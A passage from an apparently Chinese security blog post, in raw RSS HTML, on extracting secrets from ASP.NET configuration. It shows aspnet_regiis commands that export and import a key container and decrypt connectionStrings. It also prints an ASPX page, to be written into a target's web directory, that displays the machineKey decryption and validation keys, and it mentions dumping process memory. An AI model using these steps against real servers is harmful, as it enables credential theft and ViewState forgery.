Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">大致有三种方式：</span></p><h3 style="background-color: rgb(255, 255, 255);box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">导出密钥容器并在另一台完全可控的计算机上破解：</span></h3><ol class="list-paddingleft-2" start="" cid="n173" mdtype="list" style="background-color: rgb(255, 255, 255);margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n175" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">导出 key container</span></p><blockquote cid="n176" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n177" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -px &#34;SampleKeys&#34; keys.xml -pri</span></p></blockquote></li><li style="box-sizing: border-box;"><p cid="n179" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">导入 key container 到另一台计算机</span></p><blockquote cid="n180" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n181" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -pi &#34;SampleKeys&#34; keys.xml</span></p></blockquote></li><li style="box-sizing: border-box;"><p cid="n183" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">拷贝待解密的配置文件到本地的 web 目录，然后进行解密</span></p><blockquote cid="n184" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n185" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -pd &#34;connectionStrings&#34; -app &#34;/TempApplication&#34;</span></p></blockquote></li></ol><h3 style="background-color: rgb(255, 255, 255);box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在对方机器上解密：</span><br/></h3><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在一个可以解析 asp.net 应用程序的位置，或者在对应的 web 目录下写入一个 asp、aspx 脚本，脚本的内容为读取相关配置参数，也可以直接读出相应的配置，以官方提供的脚本为例：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Page</span> <span class="code-snippet__attr">Language</span>=<span class="code-snippet__string">&#34;VB&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Import</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Configuration&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Import</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.Configuration&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">script</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Public Sub Page_Load()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ConnectionStringsGrid.DataSource = ConfigurationManager.ConnectionStrings</span></code><code><span class="code-snippet_outer">  ConnectionStringsGrid.DataBind()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  Dim config As System.Configuration.Configuration = _</span></code><code><span class="code-snippet_outer">    WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath)</span></code><code><span class="code-snippet_outer">  Dim key As MachineKeySection = _</span></code><code><span class="code-snippet_outer">    CType(config.GetSection(<span class="code-snippet__string">&#34;system.web/machineKey&#34;</span>), MachineKeySection)</span></code><code><span class="code-snippet_outer">  DecryptionKey.Text = key.DecryptionKey</span></code><code><span class="code-snippet_outer">  ValidationKey.Text = key.ValidationKey</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">End Sub</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">script</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">form</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">asp:GridView</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">CellPadding</span>=<span class="code-snippet__string">&#34;4&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;ConnectionStringsGrid&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">P</span>&gt;</span></span></code><code><span class="code-snippet_outer">  MachineKey.DecryptionKey = <span class="code-snippet__tag">&lt;<span class="code-snippet__name">asp:Label</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;Server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;DecryptionKey&#34;</span> /&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">BR</span>&gt;</span></span></code><code><span class="code-snippet_outer">  MachineKey.ValidationKey = <span class="code-snippet__tag">&lt;<span class="code-snippet__name">asp:Label</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;Server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;ValidationKey&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">form</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></code></pre></section><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">参考自：</span><a href="https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)" target="_blank">https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)</a></p><h3 style="background-color: rgb(255, 255, 255);box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">终极方案</span></h3><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">使用 procdump 等 dump 对应进程的内存，从内存中找到我们想要的字段的值，这里就不做展示了。</span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p></section></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101258"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(87, 174, 255);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(182, 220, 255);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>参考链接</strong></span></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#59c3f9"><section style="background: #59c3f9;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(89, 195, 249);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;width: 4em;height: 10px;border-radius: 10px;background: rgb(89, 249, 89);margin-left: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(89, 195, 249);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">本文中提到或引用的文章参考链接：</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><a href="https://paper.seebug.org/1386/" target="_blank">https://paper.seebug.org/1386/</a> <a href="https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter" target="_blank">https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter</a> <a href="https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper" target="_blank">https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper</a> <a href="https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)" target="_blank">https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)</a> <a href="https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0" target="_blank">https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0</a> <a href="https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)" target="_blank">https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)</a></span></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(89, 195, 249);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(89, 249, 89);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(89, 195, 249);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><p><br/></p>



<p><a href="2247484032">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bb74b911&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484032%26idx%3D1%26sn%3D248e68920844e2c5b68c4df519452803%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 01 Mar 2021 18:46:00 +0800</pubDate>
    </item>
  </channel>
</rss>